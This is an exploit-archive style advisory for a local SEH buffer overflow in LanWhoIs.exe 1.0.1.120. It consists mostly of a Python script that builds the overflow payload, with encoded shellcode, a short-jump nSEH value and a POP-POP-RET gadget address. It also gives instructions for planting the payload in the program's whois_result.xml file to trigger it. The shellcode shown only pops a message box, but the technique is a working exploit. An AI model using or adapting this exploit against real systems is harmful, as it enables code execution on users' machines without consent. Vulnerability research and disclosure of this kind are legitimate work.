LanWhoIs.exe 1.0.1.120 SEH Local Buffer Overflow

2016.11.07
Credit: H3ku
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-119

#!/usr/bin/python # -*- coding: utf-8 -*- ### LanWhoIs.exe 1.0.1.120 SEH Local Buffer Overflow Exploit by H3ku ### # Date: 2016-10-26 # Exploit Author: H3ku # Exploit Title: LanWhoIs.exe 1.0.1.120 SEH Overflow Exploit # Vendor Homepage: http://lantricks.com # Software Link: https://www.exploit-db.com/apps/70189a2b11bf85245ebcc00b603b5def-lanwhois_setup.exe # Version: 1.0.1.120 # Tested on: Win7 64bit - Win10 64bits # Credits # ======= # PoC by: hyp3rlinx - http://hyp3rlinx.altervista.org # https://www.exploit-db.com/exploits/38404/ # Thanks to n30m1nd for clarifying my doubts in the amazing world of exploiting! # How to # ====== # * Run this python script. It will generate an "exploit.txt" file. # * Copy the contents in to C:\Program Files (x86)\LanTricks\LanWhoIs\whois_result.xml (Parameter <QueryString>) # * Select the address in the Results window pane and then click Query button to run a whois lookup or use 'F3' # * MessageBoxA is called on an infinite loop since the exception handler is triggered all the time # Exploit code # ============ import struct # MessageBoxA in 00404A2C shellcode = ("\x25\x41\x41\x41" "\x41\x25\x32\x32" "\x32\x32\x50\x68" "\x70\x77\x6E\x64" "\x54\x5F\x50\x57" "\x57\x50\x35\x51" "\x7A\x70\x50\x35" "\x7D\x30\x30\x50" "\x50\xC3") payload = "A"*550 payload += shellcode payload += "A"*(126-len(shellcode)) nseh = "\xEB\x80\x90\x90" #jmp $-126 seh = struct.pack("<L", 0x00402b56) #POP ECX - POP EBP - RETN payload += nseh + seh with open("exploit.txt", "wb") as f: f.write(payload[:-1]) f.close()


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